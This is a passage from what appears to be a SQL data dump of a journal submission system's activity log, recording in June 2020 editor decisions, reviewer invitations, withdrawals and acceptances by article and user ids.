Accepted Articles  article',3985,'Publisher',988),(38627,'2020-06-11 08:51:59','Publisher has been Accepted Articles  article',4083,'Publisher',988),(38628,'2020-06-11 08:52:20','Publisher has been Accepted Articles  article',4148,'Publisher',988),(38629,'2020-06-11 08:52:41','Publisher has been Accepted Articles  article',4199,'Publisher',988),(38630,'2020-06-11 08:52:53','Publisher has been Accepted Articles  article',4263,'Publisher',988),(38645,'2020-06-11 10:43:36','Publisher has been Assigned Editor',4604,'Publisher',376),(38648,'2020-06-11 11:03:36','Publisher has been Withdrawn  article',2079,'Publisher',376),(38649,'2020-06-11 11:03:57','Publisher has been Withdrawn  article',2611,'Publisher',376),(38650,'2020-06-11 11:04:05','Publisher has been Withdrawn  article',2623,'Publisher',376),(38651,'2020-06-11 11:04:10','Publisher has been Withdrawn  article',2633,'Publisher',376),(38652,'2020-06-11 11:04:22','Publisher has been Withdrawn  article',2697,'Publisher',376),(38653,'2020-06-11 11:04:33','Publisher has been Accepted Articles  article',1998,'Publisher',376),(38654,'2020-06-11 11:04:41','Publisher has been Accepted Articles  article',2591,'Publisher',376),(38655,'2020-06-11 11:04:48','Publisher has been Accepted Articles  article',2708,'Publisher',376),(38656,'2020-06-11 11:05:47','Publisher has been Accepted Articles  article',3529,'Publisher',376),(38657,'2020-06-11 11:06:02','Publisher has been Accepted Articles  article',3178,'Publisher',376),(38658,'2020-06-11 11:07:32','Publisher has been Accepted Articles  article',4090,'Publisher',376),(38659,'2020-06-11 11:16:11','Editor has Accepted to review Manuscript',4604,'Editor',1012),(38660,'2020-06-11 11:17:18','Editor has Invited Reviewer',4604,'Editor',1012),(38661,'2020-06-11 11:17:19','Editor has Invited Reviewer',4604,'Editor',1012),(38662,'2020-06-11 11:17:54','Editor has Invited Reviewer',4604,'Editor',1012),(38663,'2020-06-11 11:17:55','Editor has Invited Reviewer',4604,'Editor',1012),(38667,'2020-06-11 11:25:12','Publisher has been Assigned Editor',4623,'Publisher',274),(38692,'2020-06-11 11:44:22','Publisher has been Rejected Articles  article',3587,'Publisher',274),(38699,'2020-06-11 11:46:05','Publisher has been Withdrawn  article',2584,'Publisher',274),(38700,'2020-06-11 11:46:32','Publisher has been Accepted Articles  article',3771,'Publisher',274),(38708,'2020-06-11 11:49:01','Publisher has Invited Reviewer',4623,'Publisher',274),(38718,'2020-06-11 11:50:25','Publisher has been Withdrawn  article',3252,'Publisher',984),(38724,'2020-06-11 11:51:18','Publisher has been Withdrawn  article',3579,'Publisher',984),(38738,'2020-06-11 12:08:54','Publisher has been Withdrawn  article',3252,'Publisher',984),(38739,'2020-06-11 12:09:09','Publisher has been Withdrawn  article',3579,'Publisher',984),(38740,'2020-06-11 12:09:18','Publisher has been Withdrawn  article',3580,'Publisher',984),(38741,'2020-06-11 12:09:51','Publisher : Notified Editor',3851,'Publisher',984),(38742,'2020-06-11 12:10:04','Publisher has been Withdrawn  article',3336,'Publisher',984),(38743,'2020-06-11 12:10:18','Publisher has been Withdrawn  article',3274,'Publisher',984),(38744,'2020-06-11 12:11:34','Editor has been Editor Decision Accepted article',3486,'Editor',1342),(38745,'2020-06-11 12:11:46','Editor has Accepted to review Manuscript',3581,'Editor',1342),(38746,'2020-06-11 12:11:58','Author sent Email',4604,'Author',5815),(38747,'2020-06-11 12:12:07','Editor has been Editor Decision Accepted article',3581,'Editor',1342),(38748,'2020-06-11 12:12:22','Editor has Accepted to review Manuscript',3851,'Editor',1342),(38749,'2020-06-11 12:12:32','Editor has been Editor Decision Accepted article',3851,'Editor',1342),(38750,'2020-06-11 12:13:11','Publisher has been Accepted Articles  article',3851,'Publisher',984),(38751,'2020-06-11 12:13:20','Publisher has been Accepted Articles  article',3581,'Publisher',984),(38752,'2020-06-11 12:13:29','Publisher has been Accepted Articles  article',3486,'Publisher',984),(38792,'2020-06-11 13:01:18','Publisher has been Assigned Editor',4618,'Publisher',248),(38793,'2020-06-11 13:12:21','Manuscript Submitted by Author',4629,'Author',5844),(38795,'2020-06-11 13:19:20','Editor has Accepted to review Manuscript',4013,'Editor',194),(38796,'2020-06-11 13:19:50','Editor has been Editor Decision Accepted article',4013,'Editor',194),(38797,'2020-06-11 13:20:04','Editor has Accepted to review Manuscript',4087,'Editor',194),(38798,'2020-06-11 13:20:12','Editor has Accepted to review Manuscript',4313,'Editor',194),(38799,'2020-06-11 13:20:21','Editor has Accepted to review Manuscript',4396,'Editor',194),(38800,'2020-06-11 13:20:55','Editor has Accepted to review Manuscript',4131,'Editor',194),(38801,'2020-06-11 13:21:24','Editor has been Editor Decision Accepted article',4131,'Editor',194),(38802,'2020-06-11 13:21:38','Editor has Accepted to review Manuscript',4109,'Editor',194),(38803,'2020-06-11 13:21:58','Editor has been Editor Decision Accepted article',4109,'Editor',194),(38804,'2020-06-11 13:22:04','Editor has Accepted to review Manuscript',4092,'Editor',194),(38805,'2020-06-11 13:22:22','Editor has been Editor Decision Accepted article',4092,'Editor',194),(38806,'2020-06-11 13:22:40','Editor has been Editor Decision Accepted article',4087,'Editor',194),(38807,'2020-06-11 13:24:33','Publisher: Accept Notification has been sent to Author',4013,'Publisher',48),(38808,'2020-06-11 13:24:42','Publisher has been Accepted Articles  article',4013,'Publisher',48),(38809,'2020-06-11 13:25:06','Publisher: Accept Notification has been sent to Author',4087,'Publisher',48),(38810,'2020-06-11 13:25:14','Publisher has been Accepted Articles  article',4087,'Publisher',48),(38811,'2020-06-11 13:25:26','Publisher: Accept Notification has been sent to Author',4092,'Publisher',48),(38812,'2020-06-11 13:25:34','Publisher has been Accepted Articles  article',4109,'Publisher',48),(38813,'2020-06-11 13:25:45','Publisher: Accept Notification has been sent to Author',4092,'Publisher',48),(38814,'2020-06-11 13:25:54','Publisher has been Accepted Articles  article',4092,'Publisher',48),(38815,'2020-06-11 13:28:17','Editor has been Editor Decision Accepted article',3220,'Editor',195),(38816,'2020-06-11 13:28:19','Editor has been Editor Decision Accepted article',3220,'Editor',195),(38817,'2020-06-11 13:28:31','Editor has been Editor Decision Accepted article',2707,'Editor',195),(38818,'2020-06-11 13:29:32','Editor has Accepted to review Manuscript',2794,'Editor',191),(38819,'2020-06-11 13:29:43','Editor has been Editor Decision Accepted article',2794,'Editor',191),(38820,'2020-06-11 13:29:51','Editor has Accepted to review Manuscript',2581,'Editor',191),(38821,'2020-06-11 13:30:03','Editor has been Editor Decision Accepted article',2581,'Editor',191),(38822,'2020-06-11 13:30:55','Editor has Accepted to review Manuscript',3035,'Editor',192),(38823,'2020-06-11 13:31:04','Editor has been Editor Decision Accepted article',3035,'Editor',192),(38824,'2020-06-11 13:31:11','Editor has Accepted to review Manuscript',2754,'Editor',192),(38825,'2020-06-11 13:31:23','Editor has been Editor Decision Accepted article',2754,'Editor',192),(38826,'2020-06-11 13:32:14','Editor has Accepted to review Manuscript',2673,'Editor',188),(38827,'2020-06-11 13:32:24','Editor has been Editor Decision Accepted article',2673,'Editor',188),(38828,'2020-06-11 13:32:29','Editor has Accepted to review Manuscript',2275,'Editor',188),(38829,'2020-06-11 13:32:40','Editor has been Editor Decision Accepted article',2275,'Editor',188),(38830,'2020-06-11 13:33:18','Editor has Accepted to review Manuscript',3623,'Editor',193),(38831,'2020-06-11 13:33:28','Editor has been Editor Decision Accepted article',3623,'Editor',193),(38832,'2020-06-11 13:33:45','Editor has been Editor Decision Accepted article',2605,'Editor',193),(38833,'2020-06-11 13:35:01','Publisher: Accept Notification has been sent to Author',4131,'Publisher',48),(38834,'2020-06-11 13:35:08','Publisher has been Accepted Articles  article',4131,'Publisher',48),(38835,'2020-06-11 13:35:31','Publisher: Accept Notification has been sent to Author',3623,'Publisher',48),(38836,'2020-06-11 13:35:39','Publisher has been Accepted Articles  article',3623,'Publisher',48),(38837,'2020-06-11 13:35:54','Publisher has been Accepted Articles  article',3035,'Publisher',48),(38838,'2020-06-11 13:36:06','Publisher: Accept Notification has been sent to Author',2794,'Publisher',48),(38839,'2020-06-11 13:36:14','Publisher has been Accepted Articles  article',2794,'Publisher',48),(38840,'2020-06-11 13:36:26','Publisher: Accept Notification has been sent to Author',2754,'Publisher',48),(38841,'2020-06-11 13:36:36','Publisher has been Accepted Articles  article',2754,'Publisher',48),(38842,'2020-06-11 13:36:44','Publisher has been Accepted Articles  article',2707,'Publisher',48),(38843,'2020-06-11 13:36:52','Publisher has been Accepted Articles  article',2673,'Publisher',48),(38844,'2020-06-11 13:36:57','Publisher has been Accepted Articles  article',2605,'Publisher',48),(38845,'2020-06-11 13:37:04','Publisher has been Accepted Articles  article',2581,'Publisher',48),(38846,'2020-06-11 13:37:17','Publisher has been Accepted Articles  article',2275,'Publisher',48),(38847,'2020-06-11 13:38:31','Editor has been Editor Decision Accepted article',3972,'Editor',194),(38848,'2020-06-11 13:38:44','Editor has Accepted to review Manuscript',3935,'Editor',194),(38849,'2020-06-11 13:39:07','Editor has been Editor Decision Accepted article',3935,'Editor',194),(38850,'2020-06-11 13:39:15','Editor has Accepted to review Manuscript',3894,'Editor',194),(38851,'2020-06-11 13:39:30','Editor has been Editor Decision Accepted article',3894,'Editor',194),(38852,'2020-06-11 13:39:38','Editor has Accepted to review Manuscript',3809,'Editor',194),(38853,'2020-06-11 13:40:11','Editor has been Editor Decision Accepted article',3809,'Editor',194),(38854,'2020-06-11 13:40:45','Editor has Accepted to review Manuscript',4126,'Editor',194),(38855,'2020-06-11 13:41:01','Editor has been Editor Decision Accepted article',4126,'Editor',194),(38856,'2020-06-11 13:43:58','Reviewer has submitted comments',3033,'Reviewer',5467),(38857,'2020-06-11 13:44:46','Reviewer has submitted comments',2594,'Reviewer',5467),(38858,'2020-06-11 13:45:19','Reviewer has submitted comments',3282,'Reviewer',5467),(38859,'2020-06-11 13:46:12','Reviewer has submitted comments',3388,'Reviewer',5467),(38860,'2020-06-11 13:46:33','Reviewer has submitted comments',4126,'Reviewer',5467),(38861,'2020-06-11 13:47:20','Reviewer has submitted comments',2934,'Reviewer',5467),(38862,'2020-06-11 13:48:14','Publisher has been Accepted Articles  article',4126,'Publisher',48),(38863,'2020-06-11 13:48:21','Publisher has been Accepted Articles  article',3972,'Publisher',48),(38864,'2020-06-11 13:48:29','Publisher has been Accepted Articles  article',3935,'Publisher',48),(38865,'2020-06-11 13:48:41','Publisher: Accept Notification has been sent to Author',3935,'Publisher',48),(38866,'2020-06-11 13:48:52','Publisher: Accept Notification has been sent to Author',3894,'Publisher',48),(38867,'2020-06-11 13:48:59','Publisher has been Accepted Articles  article',3894,'Publisher',48),(38868,'2020-06-11 13:49:10','Publisher: Accept Notification has been sent to Author',3809,'Publisher',48),(38869,'2020-06-11 13:49:16','Publisher has been Accepted Articles  article',3809,'Publisher',48),(38870,'2020-06-11 13:49:33','Publisher: Accept Notification has been sent to Author',3220,'Publisher',48),(38871,'2020-06-11 13:49:40','Publisher has been Accepted Articles  article',3220,'Publisher',48),(38872,'2020-06-11 13:49:56','Publisher has been Accepted Articles  article',3935,'Publisher',48),(38905,'2020-06-11 15:03:52','Publisher has been Withdrawn  article',2902,'Publisher',376),(38907,'2020-06-11 15:04:04','Publisher has been Withdrawn  article',2755,'Publisher',376),(38953,'2020-06-11 15:36:55','Editor has been Revise (Notify Author) article',4138,'Editor',1067),(38954,'2020-06-11 15:42:50','Publisher : Notified Author',4138,'Publisher',319),(38971,'2020-06-11 16:05:45','Editor has Accepted to review Manuscript',3983,'Editor',1370),(38972,'2020-06-11 16:06:08','Editor has been Editor Decision Accepted article',3983,'Editor',1370),(38973,'2020-06-11 16:06:19','Editor has Accepted to review Manuscript',3882,'Editor',1370),(38974,'2020-06-11 16:06:54','Editor has been Editor Decision Accepted article',4218,'Editor',1370),(38975,'2020-06-11 16:07:25','Editor has been Editor Decision Accepted article',3882,'Editor',1370),(38976,'2020-06-11 16:07:51','Publisher has been Withdrawn  article',4604,'Publisher',376),(38977,'2020-06-11 16:08:17','Publisher has Invited Reviewer',4502,'Publisher',376),(38978,'2020-06-11 16:08:18','Publisher has Invited Reviewer',4502,'Publisher',376),(38979,'2020-06-11 16:08:26','Publisher has Invited Reviewer',4502,'Publisher',376),(39013,'2020-06-11 16:52:24','Publisher : Notified Editor',3722,'Publisher',85),(39015,'2020-06-11 16:53:36','Editor has Accepted to review Manuscript',3722,'Editor',1343),(39016,'2020-06-11 16:54:05','Editor has been Editor Decision Accepted article',3722,'Editor',1343),(39018,'2020-06-11 16:56:56','Publisher: Accept Notification has been sent to Author',3722,'Publisher',85),(39022,'2020-06-11 17:06:26','Publisher : Notified Editor',4610,'Publisher',85),(39023,'2020-06-11 17:08:11','Reviewer has submitted comments',4251,'Reviewer',12875),(39025,'2020-06-11 17:09:55','Publisher has been Withdrawn  article',3584,'Publisher',85),(39026,'2020-06-11 17:10:04','Publisher has been Withdrawn  article',3584,'Publisher',85),(39027,'2020-06-11 17:11:42','Publisher has been Withdrawn  article',3513,'Publisher',85),(39029,'2020-06-11 17:19:04','Publisher has been Withdrawn  article',3987,'Publisher',85),(39030,'2020-06-11 17:21:55','Publisher has been Withdrawn  article',3898,'Publisher',85),(39033,'2020-06-11 17:23:01','Publisher has been Withdrawn  article',3799,'Publisher',85),(39034,'2020-06-11 17:23:35','Publisher has been Assigned Editor',4629,'Publisher',75),(39035,'2020-06-11 17:23:52','Publisher has been Withdrawn  article',3791,'Publisher',85),(39036,'2020-06-11 17:24:02','Reviewer has submitted comments',4006,'Reviewer',12875),(39037,'2020-06-11 17:24:58','Publisher has been Withdrawn  article',3791,'Publisher',85),(39038,'2020-06-11 17:25:44','Publisher has been Withdrawn  article',3701,'Publisher',85),(39039,'2020-06-11 17:25:48','Publisher has been Withdrawn  article',3701,'Publisher',85),(39040,'2020-06-11 17:26:03','Publisher has been Withdrawn  article',3787,'Publisher',85),(39041,'2020-06-11 17:26:45','Publisher has been Withdrawn  article',3831,'Publisher',85),(39046,'2020-06-11 17:32:31','Publisher has been Withdrawn  article',3830,'Publisher',85),(39051,'2020-06-11 17:33:25','Reviewer has submitted comments',4117,'Reviewer',12875),(39138,'2020-06-12 00:03:09','Publisher has been Accepted Articles  article',3135,'Publisher',673),(39139,'2020-06-12 00:03:16','Publisher has been Accepted Articles  article',3519,'Publisher',673),(39140,'2020-06-12 00:03:21','Publisher has been Accepted Articles  article',3882,'Publisher',673),(39141,'2020-06-12 00:03:27','Publisher has been Accepted Articles  article',3983,'Publisher',673),(39142,'2020-06-12 00:03:32','Publisher has been Accepted Articles  article',4191,'Publisher',673),(39143,'2020-06-12 00:03:37','Publisher has been Accepted Articles  article',4218,'Publisher',673),(39144,'2020-06-12 00:03:48','Publisher has been Accepted Articles  article',4465,'Publisher',673),(39145,'2020-06-12 00:03:53','Publisher has been Accepted Articles  article',4498,'Publisher',673),(39146,'2020-06-12 01:10:36','Manuscript Submitted by Author using Submission form',4634,'Author',5850),(39147,'2020-06-12 02:07:22','Reviewer has updated comments',4138,'Reviewer',12897),(39148,'2020-06-12 02:07:37','Reviewer has updated comments',4138,'Reviewer',12897),(39152,'2020-06-12 05:14:07','Manuscript Submitted by Author using Submission form',4636,'Author',5852),(39153,'2020-06-12 07:35:14','Author sent Email',4322,'Author',5541),(39185,'2020-06-12 09:43:24','Editor has been Editor Decision Accepted article',2874,'Editor',1315),(39186,'2020-06-12 09:43:40','Editor has Accepted to review Manuscript',3970,'Editor',1315),(39187,'2020-06-12 09:43:52','Editor has been Editor Decision Rejected article',3970,'Editor',1315),(39188,'2020-06-12 09:47:33','Editor has been Editor Decision Accepted article',3150,'Editor',1324),(39189,'2020-06-12 09:47:50','Editor has been Editor Decision Accepted article',3150,'Editor',1324),(39197,'2020-06-12 09:55:59','Editor has been Editor Decision Accepted article',3673,'Editor',1235),(39201,'2020-06-12 09:56:33','Publisher has been Accepted Articles  article',3673,'Publisher',274),(39230,'2020-06-12 10:04:19','Publisher has been Accepted Articles  article',3011,'Publisher',972),(39231,'2020-06-12 10:04:33','Manuscript Submitted by Publisher',4637,'Publisher',319),(39232,'2020-06-12 10:04:37','Publisher has been Withdrawn  article',3098,'Publisher',972),(39233,'2020-06-12 10:04:54','Publisher has been Accepted Articles  article',3150,'Publisher',972),(39235,'2020-06-12 10:05:06','Publisher has been Assigned Editor',4637,'Publisher',319),(39236,'2020-06-12 10:05:23','Publisher has been Withdrawn  article',2874,'Publisher',972),(39237,'2020-06-12 10:05:43','Publisher has been Withdrawn  article',4144,'Publisher',972),(39238,'2020-06-12 10:05:49','Publisher has Invited Reviewer',4637,'Publisher',319),(39239,'2020-06-12 10:05:53','Publisher has Invited Reviewer',4637,'Publisher',319),(39240,'2020-06-12 10:05:57','Publisher has Invited Reviewer',4637,'Publisher',319),(39241,'2020-06-12 10:06:00','Publisher has Invited Reviewer',4637,'Publisher',319),(39242,'2020-06-12 10:06:05','Publisher has Invited Reviewer',4637,'Publisher',319),(39243,'2020-06-12 10:06:09','Publisher has Invited Reviewer',4637,'Publisher',319),(39244,'2020-06-12 10:06:12','Publisher has Invited Reviewer',4637,'Publisher',319),(39245,'2020-06-12 10:06:16','Publisher has Invited Reviewer',4637,'Publisher',319),(39246,'2020-06-12 10:06:20','Publisher has Invited Reviewer',4637,'Publisher',319),(39247,'2020-06-12 10:06:24','Publisher has Invited Reviewer',4637,'Publisher',319),(39248,'2020-06-12 10:06:28','Publisher has Invited Reviewer',4637,'Publisher',319),(39249,'2020-06-12 10:06:32','Publisher has Invited Reviewer',4637,'Publisher',319),(39257,'2020-06-12 10:11:45','Reviewer has submitted comments',4191,'Reviewer',11355),(39280,'2020-06-12 10:18:11','Publisher has been Withdrawn  article',4111,'Publisher',988),(39293,'2020-06-12 10:26:31','Editor has been Editor Decision Accepted article',3593,'Editor',194),(39328,'2020-06-12 11:35:49','Publisher has been Assigned Editor',4636,'Publisher',85),(39330,'2020-06-12 11:53:53','Publisher has Invited Reviewer',4636,'Publisher',85),(39331,'2020-06-12 11:53:54','Publisher has Invited Reviewer',4636,'Publisher',85),(39332,'2020-06-12 11:53:56','Publisher has Invited Reviewer',4636,'Publisher',85),(39333,'2020-06-12 11:53:58','Publisher has Invited Reviewer',4636,'Publisher',85),(39334,'2020-06-12 11:54:55','Publisher has Invited Reviewer',4636,'Publisher',85),(39335,'2020-06-12 11:54:56','Publisher has Invited Reviewer',4636,'Publisher',85),(39336,'2020-06-12 11:54:57','Publisher has Invited Reviewer',4636,'Publisher',85),(39351,'2020-06-12 12:29:39','Reviewer has submitted comments',4465,'Reviewer',11355),(39358,'2020-06-12 12:54:25','Publisher has Invited Reviewer',4466,'Publisher',248),(39359,'2020-06-12 12:54:26','Publisher has Invited Reviewer',4466,'Publisher',248),(39360,'2020-06-12 12:54:27','Publisher has Invited Reviewer',4466,'Publisher',248),(39361,'2020-06-12 12:56:07','Publisher has Invited Reviewer',4531,'Publisher',248),(39362,'2020-06-12 12:56:08','Publisher has Invited Reviewer',4531,'Publisher',248),(39363,'2020-06-12 12:56:09','Publisher has Invited Reviewer',4531,'Publisher',248),(39364,'2020-06-12 12:56:25','Publisher has Invited Reviewer',4618,'Publisher',248),(39365,'2020-06-12 12:56:26','Publisher has Invited Reviewer',4618,'Publisher',248),(39368,'2020-06-12 13:07:40','Publisher has been Accepted Articles  article',2939,'Publisher',645),(39369,'2020-06-12 13:08:04','Publisher : Notified Editor',3860,'Publisher',645),(39379,'2020-06-12 13:08:58','Publisher : Notified Editor',3835,'Publisher',645),(39380,'2020-06-12 13:09:11','Publisher : Notified Editor',3723,'Publisher',645),(39381,'2020-06-12 13:10:06','Editor has Accepted to review Manuscript',3860,'Editor',634),(39382,'2020-06-12 13:10:11','Editor has Accepted to review Manuscript',3723,'Editor',634),(39383,'2020-06-12 13:10:30','Editor has been Editor Decision Accepted article',3860,'Editor',634),(39384,'2020-06-12 13:10:43','Editor has been Editor Decision Accepted article',3723,'Editor',634),(39385,'2020-06-12 13:11:23','Publisher: Accept Notification has been sent to Author',3860,'Publisher',645),(39386,'2020-06-12 13:11:40','Publisher: Accept Notification has been sent to Author',3723,'Publisher',645),(39387,'2020-06-12 13:11:52','Publisher has been Accepted Articles  article',3860,'Publisher',645),(39388,'2020-06-12 13:12:01','Publisher has been Accepted Articles  article',3723,'Publisher',645),(39390,'2020-06-12 13:13:19','Editor has Accepted to review Manuscript',3835,'Editor',633),(39391,'2020-06-12 13:13:45','Editor has been Revise (Notify Author) article',3835,'Editor',633),(39392,'2020-06-12 13:14:20','Manuscript Submitted by Author using Submission form',4641,'Author',5856),(39393,'2020-06-12 13:15:27','Publisher : Notified Author',3835,'Publisher',645),(39394,'2020-06-12 13:19:27','Publisher has been Withdrawn  article',2768,'Publisher',645),(39395,'2020-06-12 13:19:34','Publisher has been Withdrawn  article',2832,'Publisher',645),(39396,'2020-06-12 13:20:08','Publisher : Notified Editor',2858,'Publisher',645),(39397,'2020-06-12 13:20:25','Publisher : Notified Editor',3043,'Publisher',645),(39398,'2020-06-12 13:21:31','Editor has Accepted to review Manuscript',3043,'Editor',634),(39399,'2020-06-12 13:22:16','Editor has been Editor Decision Rejected article',3043,'Editor',634),(39400,'2020-06-12 13:22:33','Editor has Accepted to review Manuscript',2858,'Editor',634),(39401,'2020-06-12 13:22:45','Editor has been Editor Decision Rejected article',2858,'Editor',634),(39402,'2020-06-12 13:23:12','Publisher has been Rejected Articles  article',3043,'Publisher',645),(39403,'2020-06-12 13:23:26','Publisher has been Rejected Articles  article',2858,'Publisher',645),(39404,'2020-06-12 13:24:58','Publisher : Notified Editor',3433,'Publisher',645),(39406,'2020-06-12 13:25:55','Editor has Accepted to review Manuscript',3433,'Editor',633),(39407,'2020-06-12 13:26:36','Editor has been Editor Decision Rejected article',3433,'Editor',633),(39408,'2020-06-12 13:27:17','Publisher has been Rejected Articles  article',3433,'Publisher',645),(39410,'2020-06-12 13:48:54','Reviewer has submitted comments',3547,'Reviewer',4514),(39411,'2020-06-12 13:51:21','Publisher : Notified Editor',3547,'Publisher',645),(39412,'2020-06-12 13:52:15','Editor has Accepted to review Manuscript',3547,'Editor',634),(39413,'2020-06-12 13:52:42','Editor has been Editor Decision Accepted article',3547,'Editor',634),(39414,'2020-06-12 13:53:19','Publisher has been Accepted Articles  article',3547,'Publisher',645),(39415,'2020-06-12 13:55:58','Reviewer has submitted comments',3400,'Reviewer',8796),(39416,'2020-06-12 13:56:31','Publisher : Notified Editor',3400,'Publisher',645),(39417,'2020-06-12 13:57:17','Editor has Accepted to review Manuscript',3400,'Editor',633),(39418,'2020-06-12 13:57:51','Editor has been Editor Decision Accepted article',3400,'Editor',633),(39419,'2020-06-12 13:57:52','Editor has been Editor Decision Accepted article',3400,'Editor',633),(39420,'2020-06-12 13:57:52','Editor has been Editor Decision Accepted article',3400,'Editor',633),(39421,'2020-06-12 13:59:42','Publisher has been Accepted Articles  article',3400,'Publisher',645),(39422,'2020-06-12 14:01:21','Reviewer has submitted comments',3202,'Reviewer',4514),(39423,'2020-06-12 14:01:45','Publisher : Notified Editor',3202,'Publisher',645),(39424,'2020-06-12 14:02:19','Editor has Accepted to review Manuscript',3202,'Editor',633),(39425,'2020-06-12 14:03:25','Editor has been Editor Decision Accepted article',3202,'Editor',633),(39426,'2020-06-12 14:04:08','Publisher: Accept Notification has been sent to Author',3202,'Publisher',645),(39427,'2020-06-12 14:04:17','Publisher has been Accepted Articles  article',3202,'Publisher',645),(39479,'2020-06-12 22:43:11','Author sent Email',4056,'Author',5257),(39546,'2020-06-13 08:45:23','Manuscript Submitted by Author using Submission form',4659,'Author',5874),(39589,'2020-06-13 10:28:06','Manuscript Submitted by Author using Submission form',4665,'Author',5880),(39598,'2020-06-13 11:34:09','Author sent Email',4109,'Author',5297),(39642,'2020-06-13 13:12:20','Editor has been Editor Decision Accepted article',4006,'Editor',1067),(39643,'2020-06-13 13:13:48','Publisher: Accept Notification has been sent to Author',4006,'Publisher',319),(39653,'2020-06-13 14:52:31','Manuscript Submitted by Author using Submission form',4676,'Author',5891),(39657,'2020-06-13 18:57:26','Editor has Accepted to review Manuscript',4637,'Editor',1067),(39658,'2020-06-13 19:15:24','Reviewer has submitted comments',4498,'Reviewer',11355),(39702,'2020-06-15 12:19:31','Publisher has been Assigned Editor',4641,'Publisher',48),(39703,'2020-06-15 12:24:49','Publisher has Invited Reviewer',4623,'Publisher',274),(39704,'2020-06-15 12:25:44','Publisher has Invited Reviewer',4216,'Publisher',274),(39705,'2020-06-15 12:26:17','Publisher has Invited Reviewer',4629,'Publisher',75),(39706,'2020-06-15 12:26:18','Publisher has Invited Reviewer',4629,'Publisher',75),(39707,'2020-06-15 12:26:19','Publisher has Invited Reviewer',4629,'Publisher',75),(39708,'2020-06-15 12:26:21','Publisher has Invited Reviewer',4629,'Publisher',75),(39733,'2020-06-15 14:24:27','Manuscript Submitted by Author using Submission form',4690,'Author',5905),(39742,'2020-06-15 15:42:15','Reviewer has submitted comments',4636,'Reviewer',9532),(39798,'2020-06-16 08:40:08','Publisher : Notified Editor',4636,'Publisher',85),(39799,'2020-06-16 08:41:20','Editor has Accepted to review Manuscript',4636,'Editor',1439),(39800,'2020-06-16 08:41:34','Editor has been Revise (Notify Author) article',4636,'Editor',1439),(39801,'2020-06-16 08:42:26','Publisher : Notified Author',4636,'Publisher',85),(39802,'2020-06-16 08:45:53','Publisher has Invited Reviewer',4575,'Publisher',85),(39803,'2020-06-16 08:45:54','Publisher has Invited Reviewer',4575,'Publisher',85),(39804,'2020-06-16 08:45:55','Publisher has Invited Reviewer',4575,'Publisher',85),(39814,'2020-06-16 09:47:01','Publisher has been Assigned Editor',4659,'Publisher',988),(39815,'2020-06-16 09:47:32','Publisher has Invited Reviewer',4659,'Publisher',988),(39816,'2020-06-16 09:47:33','Publisher has Invited Reviewer',4659,'Publisher',988),(39828,'2020-06-16 11:47:47','Publisher has been Assigned Editor',4690,'Publisher',988),(39829,'2020-06-16 11:48:34','Publisher has Invited Reviewer',4690,'Publisher',988),(39830,'2020-06-16 11:48:34','Publisher has Invited Reviewer',4690,'Publisher',988),(39925,'2020-06-16 22:23:04','Manuscript Submitted by Author',4706,'Author',4283),(39930,'2020-06-17 01:41:41','Manuscript Submitted by Author using Submission form',4707,'Author',5923),(39933,'2020-06-17 03:18:03','Reviewer has submitted comments',3999,'Reviewer',645),(39934,'2020-06-17 03:54:30','Reviewer has submitted comments',3974,'Reviewer',645),(39935,'2020-06-17 08:05:27','Reviewer has submitted comments',4659,'Reviewer',12972),(39936,'2020-06-17 08:07:00','Reviewer has submitted comments',4659,'Reviewer',12972),(39937,'2020-06-17 08:11:58','Reviewer has submitted comments',4690,'Reviewer',12972),(39938,'2020-06-17 08:15:23','Reviewer has submitted comments',4659,'Reviewer',13180),(39939,'2020-06-17 08:17:27','Reviewer has submitted comments',4690,'Reviewer',13180),(39945,'2020-06-17 10:36:37','Manuscript Submitted by Author using Submission form',4709,'Author',5925),(39973,'2020-06-17 11:46:36','Publisher has been Assigned Editor',4707,'Publisher',988),(39974,'2020-06-17 11:46:55','Publisher has Invited Reviewer',4707,'Publisher',988),(39979,'2020-06-17 13:09:36','Manuscript Submitted by Author using Submission form',4715,'Author',5931),(39981,'2020-06-17 13:51:10','Manuscript Submitted by Author using Submission form',4717,'Author',5933),(39983,'2020-06-17 14:16:15','Publisher : Notified Author',4138,'Publisher',319),(39987,'2020-06-17 15:21:06','Manuscript Submitted by Author using Submission form',4719,'Author',5935),(39988,'2020-06-17 16:16:59','Editor has Accepted to review Manuscript',4610,'Editor',203),(39989,'2020-06-17 16:17:34','Editor has been Editor Decision Accepted article',4610,'Editor',203),(39990,'2020-06-17 16:17:34','Editor has been Editor Decision Accepted article',4610,'Editor',203),(39991,'2020-06-17 16:19:01','Publisher: Accept Notification has been sent to Author',4610,'Publisher',85),(39992,'2020-06-17 16:48:12','Publisher has been Assigned Editor',4715,'Publisher',48),(39993,'2020-06-17 17:05:03','Manuscript Submitted by Publisher',4720,'Publisher',48),(39994,'2020-06-17 17:05:43','Publisher has been Assigned Editor',4720,'Publisher',48),(39998,'2020-06-17 18:28:26','Publisher has been Assigned Editor',4676,'Publisher',75),(40018,'2020-06-17 19:47:13','Publisher has been Assigned Editor',4717,'Publisher',85),(40019,'2020-06-17 19:48:30','Publisher has Invited Reviewer',4717,'Publisher',85),(40020,'2020-06-17 19:48:31','Publisher has Invited Reviewer',4717,'Publisher',85),(40021,'2020-06-17 19:48:32','Publisher has Invited Reviewer',4717,'Publisher',85),(40022,'2020-06-17 19:48:34','Publisher has Invited Reviewer',4717,'Publisher',85),(40023,'2020-06-17 19:48:37','Publisher has Invited Reviewer',4717,'Publisher',85),(40024,'2020-06-17 19:48:38','Publisher has Invited Reviewer',4717,'Publisher',85),(40025,'2020-06-17 19:48:39','Publisher has Invited Reviewer',4717,'Publisher',85),(40026,'2020-06-17 19:48:40','Publisher has Invited Reviewer',4717,'Publisher',85),(40027,'2020-06-17 19:48:43','Publisher has Invited Reviewer',4717,'Publisher',85),(40028,'2020-06-17 19:48:44','Publisher has Invited Reviewer',4717,'Publisher',85),(40029,'2020-06-17 19:48:47','Publisher has Invited Reviewer',4717,'Publisher',85),(40030,'2020-06-17 19:48:49','Publisher has Invited Reviewer',4717,'Publisher',85),(40031,'2020-06-17 19:48:51','Publisher has Invited Reviewer',4717,'Publisher',85),(40032,'2020-06-17 19:48:52','Publisher has Invited Reviewer',4717,'Publisher',85),(40033,'2020-06-17 19:48:53','Publisher has Invited Reviewer',4717,'Publisher',85),(40034,'2020-06-17 19:48:54','Publisher has Invited Reviewer',4717,'Publisher',85),(40037,'2020-06-17 20:19:07','Author sent Email',3809,'Author',4952),(40038,'2020-06-17 20:21:29','Author sent Email',3780,'Author',4952),(40040,'2020-06-17 22:22:33','Manuscript Submitted by Author using Submission form',4724,'Author',5940),(40115,'2020-06-18 